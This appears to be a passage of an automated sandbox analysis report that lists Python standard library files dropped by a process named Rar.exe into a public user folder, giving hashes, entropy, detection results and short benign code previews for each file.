Preview:	import unittest....# also work on POSIX....from ctypes import ..from ctypes import wintypes......class WinTypesTest(unittest.TestCase):.. def test_variant_bool(self):.. # reads 16-bits from memory, anything non-zero is True.. for true_value in (1, 32767, 32768, 65535, 65537):.. true = POINTER(c_int16)(c_int16(true_value)).. value = cast(true, POINTER(wintypes.VARIANT_BOOL)).. self.assertEqual(repr(value.contents), 'VARIANT_BOOL(True)').... vb = wintypes.VARIANT_BOOL().. self.assertIs(vb.value, False).. vb.value = True.. self.assertIs(vb.value, True).. vb.value = true_value.. self.assertIs(vb.value, True).... for false_value in (0, 65536, 262144, 2*33):.. false = POINTER(c_int16)(c_int16(false_value)).. value = cast(false, POINTER(wintypes.VARIANT_BOOL)).. self.assertEqual(repr(value.contents), 'VARIANT_BOOL(False)').... # a

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\util.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14255
Entropy (8bit):	4.3320309673523
Encrypted:	false
SSDEEP:	384:eJqRMNQWKSUWQ2iB6NQZi2JspavNCXlkFZ:eoSeWKSUWQ1B6Np2Qa1CXlkFZ
MD5:	7C2EF43E92C48F791F1C571975BFC2D5
SHA1:	C25DA8FCDAE79CC10709030575DCDDF9F996A0C1
SHA-256:	54D572F350291473AF1C38BC3E03BD58FB71F0F1A4BDC8B629C143D544E9A56A
SHA-512:	A0A9AE757CEF9B00DC628B5268B2B0553016E7D55A44F3192F51444FAD46AA17F9E6F3F0D61FB33F84B781133E2B61EFBA9208E3D8B89AB33C3981FA9D0CDEE9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	import os..import shutil..import subprocess..import sys....# find_library(name) returns the pathname of a library, or None...if os.name == "nt":.... def _get_build_version():.. """Return the version of MSVC that was used to build Python..... For Python 2.3 and up, the version number is included in.. sys.version. For earlier versions, assume the compiler is MSVC 6... """.. # This function was copied from Lib/distutils/msvccompiler.py.. prefix = "MSC v.".. i = sys.version.find(prefix).. if i == -1:.. return 6.. i = i + len(prefix).. s, rest = sys.version[i:].split(" ", 1).. majorVersion = int(s[:-2]) - 6.. if majorVersion >= 13:.. majorVersion += 1.. minorVersion = int(s[2:3]) / 10.0.. # I don't think paths are affected by minor version in version 6.. if majorVersion == 6:.. minorVersion = 0.. if majorVersion >= 6:.. return majorV

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\wintypes.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5830
Entropy (8bit):	5.212910906342309
Encrypted:	false
SSDEEP:	96:/Ig/H+tkjWHgK0WVeZMgs4EnV6V7VxiLZgV2YVvjOlXJtiJtVzq3xk5b3:PLSCsHV6V7VkLZgV2YVvoXJtiJtVG6
MD5:	E79896C3F4A4880478A06B6C5F248689
SHA1:	0014939254AB98DD51BECD1E77CA5AA814F26793
SHA-256:	F0EBC6BB351C64EADEC46014490C951A21798226BFBD487623C8630DCC0A21D8
SHA-512:	2F800888926E2D0FEBFEDD351D987A90CBC52DE39A6DA18A1A4F2BAE606C2EE2A54F7492FCB09AD4503F37FC93803768899CD84786FE16837CFD4DCC9BE5CCE2
Malicious:	false
Reputation:	low
Preview:	# The most useful windows datatypes..import ctypes....BYTE = ctypes.c_byte..WORD = ctypes.c_ushort..DWORD = ctypes.c_ulong....#UCHAR = ctypes.c_uchar..CHAR = ctypes.c_char..WCHAR = ctypes.c_wchar..UINT = ctypes.c_uint..INT = ctypes.c_int....DOUBLE = ctypes.c_double..FLOAT = ctypes.c_float....BOOLEAN = BYTE..BOOL = ctypes.c_long....class VARIANT_BOOL(ctypes._SimpleCData):.. _type_ = "v".. def __repr__(self):.. return "%s(%r)" % (self.__class__.__name__, self.value)....ULONG = ctypes.c_ulong..LONG = ctypes.c_long....USHORT = ctypes.c_ushort..SHORT = ctypes.c_short....# in the windows header files, these are structures..._LARGE_INTEGER = LARGE_INTEGER = ctypes.c_longlong.._ULARGE_INTEGER = ULARGE_INTEGER = ctypes.c_ulonglong....LPCOLESTR = LPOLESTR = OLESTR = ctypes.c_wchar_p..LPCWSTR = LPWSTR = ctypes.c_wchar_p..LPCSTR = LPSTR = ctypes.c_char_p..LPCVOID = LPVOID = ctypes.c_void_p....# WPARAM is defined as UINT_PTR (unsigned type)..# LPARAM is defined as LONG_PTR (signed type

C:\Users\Public\QExvbmVOb25l\Lib\curses\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3470
Entropy (8bit):	4.6313548180715145
Encrypted:	false
SSDEEP:	48:X34viBZiikmTPnKpgaXObF6tGZqGCNj3OWPI/RWg7vCwi0eIKT5KLJghEfUwRTWi:X3xZJpaC6DheWIY6qtzIY0e29L
MD5:	63A612B59CF6205D8F5DC6984B8030C0
SHA1:	825D120E85A437872023475A70894A3E74D6023D
SHA-256:	EF71D789E173399F3F33F1EF5F5284456C9F3690779D1E597F3A92BD67C64E9C
SHA-512:	7A0666A8257FAA4D4E236E71EC63B9ECB6DFCB1F7A504EAA8E2030E99EF5AE525211DF9500CBA51DB5DE0DEE2CC0D7F913FC815B05FD2FE7331B78D1A65CCBD3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""curses....The main package for curses support for Python. Normally used by importing..the package, and perhaps a particular module inside it..... import curses.. from curses import textpad.. curses.initscr().. ......."""....from _curses import ..import os as _os..import sys as _sys....# Some constants, most notably the ACS_ ones, are only added to the C..# _curses module's dictionary after initscr() is called. (Some..# versions of SGI's curses don't define values for those constants..# until initscr() has been called.) This wrapper function calls the..# underlying C initscr(), and then copies the constants from the..# _curses module to the curses package's dictionary. Don't do 'from..# curses import ' if you'll be needing the ACS_ constants.....def initscr():.. import _curses, curses.. # we call setupterm() here because it raises an error.. # instead of calling exit() in error cases... setupterm(term=_os.environ.get("TERM", "unknown"),.. fd=_

C:\Users\Public\QExvbmVOb25l\Lib\curses\ascii.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2646
Entropy (8bit):	4.809499880351434
Encrypted:	false
SSDEEP:	48:6qKTzixq3sIkl7y52k3Z1gxDgZhl9F0zEn3vUDmAtIL6VrEJG:6taDFk3PvZhPyEn/U6AtIOVreG
MD5:	000A12324F07A03393565E9BFA3B98ED
SHA1:	BBF9FEAB904877B3FD003AEC89D4EF21436AC7C9
SHA-256:	42C4FB28EAA5A3DC8E65564B4A7FC7A352FCF775436E54A2BAA6608640434BE7
SHA-512:	FCA34F80634F598317B0026D18BABF15DCE8E7CDBA0DF814726CBC41C38880D698453A1E10260609AA2286F2996614654C94B6D913B8E765CF5AD9A25C6D6A06
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Constants and membership tests for ASCII characters"""....NUL = 0x00 # ^@..SOH = 0x01 # ^A..STX = 0x02 # ^B..ETX = 0x03 # ^C..EOT = 0x04 # ^D..ENQ = 0x05 # ^E..ACK = 0x06 # ^F..BEL = 0x07 # ^G..BS = 0x08 # ^H..TAB = 0x09 # ^I..HT = 0x09 # ^I..LF = 0x0a # ^J..NL = 0x0a # ^J..VT = 0x0b # ^K..FF = 0x0c # ^L..CR = 0x0d # ^M..SO = 0x0e # ^N..SI = 0x0f # ^O..DLE = 0x10 # ^P..DC1 = 0x11 # ^Q..DC2 = 0x12 # ^R..DC3 = 0x13 # ^S..DC4 = 0x14 # ^T..NAK = 0x15 # ^U..SYN = 0x16 # ^V..ETB = 0x17 # ^W..CAN = 0x18 # ^X..EM = 0x19 # ^Y..SUB = 0x1a # ^Z..ESC = 0x1b # ^[..FS = 0x1c # ^\..GS = 0x1d # ^]..RS = 0x1e # ^^..US = 0x1f # ^_..SP = 0x20 # space..DEL = 0x7f # delete....controlnames = [.."NUL", "SOH", "STX", "ETX", "EOT", "ENQ", "ACK", "BEL",.."BS", "HT", "LF", "VT", "FF", "CR", "SO", "SI",.."DLE",

C:\Users\Public\QExvbmVOb25l\Lib\curses\has_key.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5826
Entropy (8bit):	4.959924122820079
Encrypted:	false
SSDEEP:	96:uuz7HHzV3jkTy3YedCYWh/1aJUEkUQgy6nIhE7Xcpo0Hbo/YsyZ1i3C:uuB9AYUUQgy6n+ysz0/YsyL4C
MD5:	46B1621C4966F8371A3DEF67C5C6D632
SHA1:	7037456C1925919F1831799C924D78B7A327E7C7
SHA-256:	4838A7369459A90C58CFA5804C824F486BFAC1B7A8AE751C7DAB5443B500695E
SHA-512:	059CFD25C38EB136F68551103470A82571D4A5EBEFB7708CAB16281B84C4ED8F4CA4C8D30FC42696B51099E33BF4319DE149AA760EFE22E7B4616A0902240CEA
Malicious:	false
Reputation:	low
Preview:	..#..# Emulation of has_key() function for platforms that don't use ncurses..#....import _curses....# Table mapping curses keys to the terminfo capability name...._capability_names = {.. _curses.KEY_A1: 'ka1',.. _curses.KEY_A3: 'ka3',.. _curses.KEY_B2: 'kb2',.. _curses.KEY_BACKSPACE: 'kbs',.. _curses.KEY_BEG: 'kbeg',.. _curses.KEY_BTAB: 'kcbt',.. _curses.KEY_C1: 'kc1',.. _curses.KEY_C3: 'kc3',.. _curses.KEY_CANCEL: 'kcan',.. _curses.KEY_CATAB: 'ktbc',.. _curses.KEY_CLEAR: 'kclr',.. _curses.KEY_CLOSE: 'kclo',.. _curses.KEY_COMMAND: 'kcmd',.. _curses.KEY_COPY: 'kcpy',.. _curses.KEY_CREATE: 'kcrt',.. _curses.KEY_CTAB: 'kctab',.. _curses.KEY_DC: 'kdch1',.. _curses.KEY_DL: 'kdl1',.. _curses.KEY_DOWN: 'kcud1',.. _curses.KEY_EIC: 'krmir',.. _curses.KEY_END: 'kend',.. _curses.KEY_ENTER: 'kent',.. _curses.KEY_EOL: 'kel',.. _curses.KEY_EOS: 'ked',.. _curses.KEY_EXIT: 'kext',.. _curses.KEY_F0: 'kf0',.. _curses.KEY_F1

C:\Users\Public\QExvbmVOb25l\Lib\curses\panel.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.41480518258504
Encrypted:	false
SSDEEP:	3:XHWSwojbJAUXFJQBXWov3Z6HG7ASBiv:XHWSdjbHXFqX7ii7M
MD5:	5D453D87DBDD7C37EB62894B472EB094
SHA1:	67787E6A4D122CD29B3A66D20084E8C6CF0CA126
SHA-256:	9B10A03C3224939D9BE2A078FE896DA5CFEAA9740D265F8052B5403BC5E15BBF
SHA-512:	8644680425F755CFB0B62AA5E52ABABE68AB0471A1D79EEEBD99CD9A8EDB6916B5230451BEA9F9B08ACDFE21358666123A2C2DCF3D3212AC2B12D89940DE41F9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""curses.panel....Module for using panels with curses..."""....from _curses_panel import *..

C:\Users\Public\QExvbmVOb25l\Lib\curses\textpad.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7858
Entropy (8bit):	4.332455152050213
Encrypted:	false
SSDEEP:	96:P6dHpCmeBad+KxGBjgCt+GgUE8ytI1NZG65F2ERFBIsyiU4fIXYivRB264tQga:iYUdl20tI5GWFRRcsyiU4ti54tQga
MD5:	DD91DF75B078E3244BC13D35B9720367
SHA1:	60FFFCFCA35076C7334EA5E9D5F7E5B9D7A9F166
SHA-256:	C8F8A7BA4705B571AA46BA16870FC9CFA8B9C5A4633E30556FF7DA162F67B15D
SHA-512:	2ACE5EFCF60B261019F3EB718888723E4BD620B9FDA805656197652DA7B4D694BEC07A71E48972CFCC0AA4DC98733F2D34B7141894C4337A4BB690917631D598
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Simple textbox editing widget with Emacs-like keybindings."""....import curses..import curses.ascii....def rectangle(win, uly, ulx, lry, lrx):.. """Draw a rectangle with corners at the provided upper-left.. and lower-right coordinates... """.. win.vline(uly+1, ulx, curses.ACS_VLINE, lry - uly - 1).. win.hline(uly, ulx+1, curses.ACS_HLINE, lrx - ulx - 1).. win.hline(lry, ulx+1, curses.ACS_HLINE, lrx - ulx - 1).. win.vline(uly+1, lrx, curses.ACS_VLINE, lry - uly - 1).. win.addch(uly, ulx, curses.ACS_ULCORNER).. win.addch(uly, lrx, curses.ACS_URCORNER).. win.addch(lry, lrx, curses.ACS_LRCORNER).. win.addch(lry, ulx, curses.ACS_LLCORNER)....class Textbox:.. """Editing widget using the interior of a window object... Supports the following Emacs-like key bindings:.... Ctrl-A Go to left edge of window... Ctrl-B Cursor left, wrapping to previous line if appropriate... Ctrl-D Delete character under cursor... Ctrl-E Go to

C:\Users\Public\QExvbmVOb25l\Lib\dataclasses.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	57843
Entropy (8bit):	4.565189337129502
Encrypted:	false
SSDEEP:	1536:nN1yQRUzsfd87Ds0ZrrOt2cldG0DNhWJuH5hmzsG/8n/6ItzBGonv:nNbRP4ByBGqv
MD5:	EEC7AE15E02166AF44AF145D8D3EE693
SHA1:	1924169EAA60357FB673D38EE9A3B7FFF4679AAE
SHA-256:	E8B1C870DA3EFFEC3260E4126BD55197A836D14C4F4CC886F791BDDE36F6EA12
SHA-512:	CAC4D5FFB67FFA3BB95A3C331158D9ABD8F3DAC1E1F2FE792F52DFD2F1213E5777C9736BE045814A6F6CA0E99DC39CD1DC2B6D9D52EE941D9003F8C37935C47E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	import re..import sys..import copy..import types..import inspect..import keyword..import builtins..import functools..import abc..import _thread..from types import FunctionType, GenericAlias......__all__ = ['dataclass',.. 'field',.. 'Field',.. 'FrozenInstanceError',.. 'InitVar',.. 'KW_ONLY',.. 'MISSING',.... # Helper functions... 'fields',.. 'asdict',.. 'astuple',.. 'make_dataclass',.. 'replace',.. 'is_dataclass',.. ]....# Conditions for adding methods. The boxes indicate what action the..# dataclass decorator takes. For all of these tables, when I talk..# about init=, repr=, eq=, order=, unsafe_hash=, or frozen=, I'm..# referring to the arguments to the @dataclass decorator. When..# checking if a dunder method already exists, I mean check for an..# entry in the class's __dict__. I never check to see if an attribute..# is defined in a base class

C:\Users\Public\QExvbmVOb25l\Lib\datetime.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	90610
Entropy (8bit):	4.496267695360937
Encrypted:	false
SSDEEP:	1536:2UIQYbeLycfOz9BFqOPRlQ39heBzF2B112wHY5:2UIQYSxfOzUOPDm0Bua+C
MD5:	B5F6D238CA79D8E5D3AAE5257EC3CE47
SHA1:	19F628431FE6CC65407C2457324F8CCD51B385BF
SHA-256:	E52A488B10C34E4D7C09740D2BFE2876C5AD6768FFDB66D8582224E55376B67B
SHA-512:	B7CD3C2D46D93C0E096F9231106951EEF265A29D7212DAFCBF8EEBA79BF768D88AC683BEAD312C0A5E9498CA8356E91AB93E029D6F6B1B217548D6C8E4A5FF18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Concrete date/time and related types.....See http://www.iana.org/time-zones/repository/tz-link.html for..time zone and DST data sources..."""....__all__ = ("date", "datetime", "time", "timedelta", "timezone", "tzinfo",.. "MINYEAR", "MAXYEAR")......import time as _time..import math as _math..import sys..from operator import index as _index....def _cmp(x, y):.. return 0 if x == y else 1 if x > y else -1....MINYEAR = 1..MAXYEAR = 9999.._MAXORDINAL = 3652059 # date.max.toordinal()....# Utility functions, adapted from Python's Demo/classes/Dates.py, which..# also assumes the current Gregorian calendar indefinitely extended in..# both directions. Difference: Dates.py calls January 1 of year 0 day..# number 1. The code here calls January 1 of year 1 day number 1. This is..# to match the definition of the "proleptic Gregorian" calendar in Dershowitz..# and Reingold's "Calendrical Calculations", where it's the base calendar..# for all computations. See the book for algorit

C:\Users\Public\QExvbmVOb25l\Lib\dbm\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6028
Entropy (8bit):	4.43522803289218
Encrypted:	false
SSDEEP:	96:Y0Z6om2P6kXGyFQBEIA7FZKOYS8QYG6mV49ZlUNhNtbPFXPl0lWtEU:jN1ikXGgQ+77FZVJlV8lwr95PZtT
MD5:	AAA7BF10D5BB5125CD6A9F6584EFDFBD
SHA1:	E2DDC2C9069BF1394F5BB930A636A69E2F114B8B
SHA-256:	31CCB3572790579F00A99D0E76513E43F1554D8E72BE2B83C4795427F24885B2
SHA-512:	91EDF7E2E6FC44462F53C2EBD8F4CEE535298034DA5656959DC00C8B1FF3F90C8FC08B4B148BA4E3E8EEF9E2F77DE77F7ECF2250ABAE70AE574E5981176782F3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Generic interface to all dbm clones.....Use.... import dbm.. d = dbm.open(file, 'w', 0o666)....The returned object is a dbm.gnu, dbm.ndbm or dbm.dumb object, dependent on the..type of database being opened (determined by the whichdb function) in the case..of an existing dbm. If the dbm does not exist and the create or new flag ('c'..or 'n') was specified, the dbm type will be determined by the availability of..the modules (tested in the above order).....It has the following interface (key and data are strings):.... d[key] = data # store data at key (may override data at.. # existing key).. data = d[key] # retrieve data at key (raise KeyError if no.. # such key).. del d[key] # delete data stored at key (raises KeyError.. # if no such key).. flag = key in d # true if the key exists.. list = d.keys() # return a list of all existing keys (slow!)....Future versio

C:\Users\Public\QExvbmVOb25l\Lib\dbm\dumb.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11852
Entropy (8bit):	4.456406302245384
Encrypted:	false
SSDEEP:	192:LyENNkKga8J8/o/LMwRU0hY9uD+g80U/RT18/e3n33M3qNcR4:LYaKMyhce4
MD5:	90265924B0CF9D1E3A0EF2BB2D549CE2
SHA1:	7E53DFC0CC4E6923C2EEF405631364C8754605FB
SHA-256:	96FC314ECD5EA6344FB016F3631D8013B214627D30B5AB19C21D1D6D35C5306A
SHA-512:	9A2A5E08CB8976F84DBA28A59FF1B132F60597D3C9499B33A5E0DA6A193F63339DD468B7223545BFC7B20B248C520739D4C6BBD86451262FE2A51D7A5D7F0160
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""A dumb and slow but simple dbm clone.....For database spam, spam.dir contains the index (a text file),..spam.bak may contain a backup of the index (also a text file),..while spam.dat contains the data (a binary file).....XXX TO DO:....- seems to contain a bug when updating.......- reclaim free space (currently, space once occupied by deleted or expanded..items is never reused)....- support concurrent access (currently, if two processes take turns making..updates, they can mess up the index)....- support efficient access to large databases (currently, the whole index..is read when the database is opened, and some updates rewrite the whole index)....- support opening for read-only (flag = 'm')...."""....import ast as _ast..import io as _io..import os as _os..import collections.abc....__all__ = ["error", "open"]...._BLOCKSIZE = 512....error = OSError....class _Database(collections.abc.MutableMapping):.... # The on-disk directory and data files can remain in mutually.. # inconsi

C:\Users\Public\QExvbmVOb25l\Lib\dbm\gnu.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.301891945228928
Encrypted:	false
SSDEEP:	3:OAArkHIF3BcTxIxPjZ6CH4JgBiv:OlIQBdx9mgBM
MD5:	49B75CF4D832E5DB5BFE4537C5332188
SHA1:	2EB4AA2CC6539F68E5A42590919F97CF02B47F24
SHA-256:	98DCF3E73DC56C7DBF013852F685EAC1FE3A911785E682AB69836EBA5656C142
SHA-512:	AD5DF52AD3AEF6D44F23D934CD3DE15E7D1BA4900FDE2E70C21009B074C718A47ECFEFA2B14B2FE9462B7DC0BBA8C5371236CA926704A0FD21DEC0FF4D1B450B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Provide the _gdbm module as a dbm submodule."""....from _gdbm import *..

C:\Users\Public\QExvbmVOb25l\Lib\dbm\ndbm.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.237502560318079
Encrypted:	false
SSDEEP:	3:OAArb0cTxIxPjZ6xxBiv:OlUdx98xBM
MD5:	5967B257F3143A915F76FA1F4494E989
SHA1:	BD1C90535C5926383AE4B6D02936AB96A147AE92
SHA-256:	D747238751AA697D7040EE1479E0C3EFF0172E1195825061CF517CF9BEF30050
SHA-512:	B6DB12A07B47BB2D034354B81CF4EDEC4E7F1305DE222FC7E68F14AB290F12F9F576D7BB4EFF138186E1B6DED2168882A79447EA1BCFDD3ED5C19869503EEBD9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Provide the _dbm module as a dbm submodule."""....from _dbm import *..

C:\Users\Public\QExvbmVOb25l\Lib\decimal.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	331
Entropy (8bit):	4.098213504925523
Encrypted:	false
SSDEEP:	6:DoJ2xToJ2xpdOWoJ2x7EdMoJ2xhVfwRpLXGFJ2xTFJ2xpdOWFJ2x7EdMFJ2xhVfv:E4xU4xpdg4xgdN4xhVfYRW4xR4xpdt4E
MD5:	19468B7C81C8C73F6B37DE1BE745672C
SHA1:	1877E11D665B90BCEBED2341A6806DCBC62FB499
SHA-256:	F205D8DC95D81B5D2B59362CBE0E385CFEEB98C14A70971F3372BE1403378B03
SHA-512:	3D129FA184C46A8B8D77D235946875DA7543EE964E1FEEC5986C3816EA9A4D023F3A71A3EBDA9D6539CF7F561C8E0D8F9749B9CB3310B84B16391642A5E7CD2A
Malicious:	false
Reputation:	low
Preview:	..try:.. from _decimal import .. from _decimal import __doc__.. from _decimal import __version__.. from _decimal import __libmpdec_version__..except ImportError:.. from _pydecimal import .. from _pydecimal import __doc__.. from _pydecimal import __version__.. from _pydecimal import __libmpdec_version__..

C:\Users\Public\QExvbmVOb25l\Lib\difflib.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	85364
Entropy (8bit):	4.512246773776763
Encrypted:	false
SSDEEP:	1536:PxMUIKEi9FINTaSyEJH7/7Jh1rHww2FJQppY5VbhCAMqRCKM8g6S8/2wUcZ:vIBqqY5VbhCAM+CKM8FS8/VZ
MD5:	FF9CBAADC1B0F414B2627CE5F761AB8E
SHA1:	8ED742A47D1C009E2789328C2AD2DF72D3788B7F
SHA-256:	F517AE2F8750BD8A1C7A2F5BB14310CA2D961B7402AF7A8AB256EF75C91769B6
SHA-512:	191349E29C43C528D9246607189E6F8D740134121A46EF96E94C0A51C441EEC8D47C05DFDC53E33294EF35B35BD7153A3DDA7B5DBF1A41F9FA4F6309D3D5CCD6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""..Module difflib -- helpers for computing deltas between objects.....Function get_close_matches(word, possibilities, n=3, cutoff=0.6):.. Use SequenceMatcher to return list of the best "good enough" matches.....Function context_diff(a, b):.. For two lists of strings, return a delta in context diff format.....Function ndiff(a, b):.. Return a delta: the difference between `a` and `b` (lists of strings).....Function restore(delta, which):.. Return one of the two sequences that generated an ndiff delta.....Function unified_diff(a, b):.. For two lists of strings, return a delta in unified diff format.....Class SequenceMatcher:.. A flexible class for comparing pairs of sequences of any type.....Class Differ:.. For producing human-readable deltas from sequences of lines of text.....Class HtmlDiff:.. For producing HTML side by side comparison with change highlights..."""....__all__ = ['get_close_matches', 'ndiff', 'restore', 'SequenceMatcher',.. 'Differ','IS

C:\Users\Public\QExvbmVOb25l\Lib\dis.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20560
Entropy (8bit):	4.531273573237088
Encrypted:	false
SSDEEP:	384:0Gvbyi+sLuRyATo/3uMzm3FQ1R9tAvmDjOJOA:0Gvby6uwBzm3FQ1D6vmDjOoA
MD5:	629C132558A9EC0AADDA6B3568285463
SHA1:	2E4614EC3EA4943F55562B1BD10E460EF73CF310
SHA-256:	3DF71EEE06EF515D91204CB4A2AE9C0946C968473C51D2D902C82FB2B62BEA2E
SHA-512:	44E928B67353078A8B486DA58E6ECC91049A1B40B2D5EA0FE3C5018C028BDB4F13B41E25E1B99D8CB0AFA29A66CE348F899773A8805BC76A17C1B599B7879155
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Disassembler of Python byte code into mnemonics."""....import sys..import types..import collections..import io....from opcode import *..from opcode import __all__ as _opcodes_all....__all__ = ["code_info", "dis", "disassemble", "distb", "disco",.. "findlinestarts", "findlabels", "show_code",.. "get_instructions", "Instruction", "Bytecode"] + _opcodes_all..del _opcodes_all...._have_code = (types.MethodType, types.FunctionType, types.CodeType,.. classmethod, staticmethod, type)....FORMAT_VALUE = opmap['FORMAT_VALUE']..FORMAT_VALUE_CONVERTERS = (.. (None, ''),.. (str, 'str'),.. (repr, 'repr'),.. (ascii, 'ascii'),..)..MAKE_FUNCTION = opmap['MAKE_FUNCTION']..MAKE_FUNCTION_FLAGS = ('defaults', 'kwdefaults', 'annotations', 'closure')......def _try_compile(source, name):.. """Attempts to compile the given source, first as an expression and.. then as a statement if the first approach fails..... Utility function to accept strings in

C:\Users\Public\QExvbmVOb25l\Lib\doctest.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	107953
Entropy (8bit):	4.560169703474059
Encrypted:	false
SSDEEP:	3072:kELdb9WiDz1eFhoeYsioJT0T+0GNC9sjQeOEx9VUaHsez20T+28:bdb9WiDz1eFhFYsioJT0T+0GNC9sjQee
MD5:	F568FFB0098065BC1CDFFA226D00C81E
SHA1:	7ACB808E8F5B7B72197A71DE0880C1DFD39F563A
SHA-256:	9DA24E3793F13F188F6150D6DFAF36AC2E20BFD76E70AECFB2136A8FF350D993
SHA-512:	22431867A30D5F33026C764CC6573F8723B72B305FB327B7FDEAB53580ECC999F1D7AC0AC1521111700BB335DBEF708A4363ED744EAF8AA6C5CFF0AF21B62C4C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Module doctest...# Released to the public domain 16-Jan-2001, by Tim Peters (tim@python.org)...# Major enhancements and refactoring by:..# Jim Fulton..# Edward Loper....# Provided as-is; use at your own risk; no warranty; no promises; enjoy!....r"""Module doctest -- a framework for running examples in docstrings.....In simplest use, end each module M to be tested with:....def _test():.. import doctest.. doctest.testmod()....if __name__ == "__main__":.. _test()....Then running the module as a script will cause the examples in the..docstrings to get executed and verified:....python M.py....This won't display anything unless an example fails, in which case the..failing example(s) and the cause(s) of the failure(s) are printed to stdout..(why not stderr? because stderr is a lame hack <0.2 wink>), and the final..line of output is "Test failed.".....Run it with the -v switch instead:....python M.py -v....and a detailed report of all examples tried is printed to stdout, alo

C:\Users\Public\QExvbmVOb25l\Lib\email\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1828
Entropy (8bit):	4.659617027776494
Encrypted:	false
SSDEEP:	48:2XvNh6MGDFchDSvkvxnsj/axPSLxnsbXqxP0:2Xlh6M/DxnsjuPSlnsbXGP0
MD5:	4A5BEB56533BF0D8B94EE640F866E491
SHA1:	44497180DE35656486799BC533DE4EAAF3C3EE2C
SHA-256:	AF3DD99D5C82FA7E75A653B813A592A92CF453EBC4226FB330CD47E560395426
SHA-512:	06D65E564E593489F4D49D8EAB35936B829913DB1898B25AEC2532C42BCBE1A1450248F98972119349DC1FD17337AB48F9B4749075195E763ABDFD8F430A4AF2
Malicious:	false
Reputation:	low
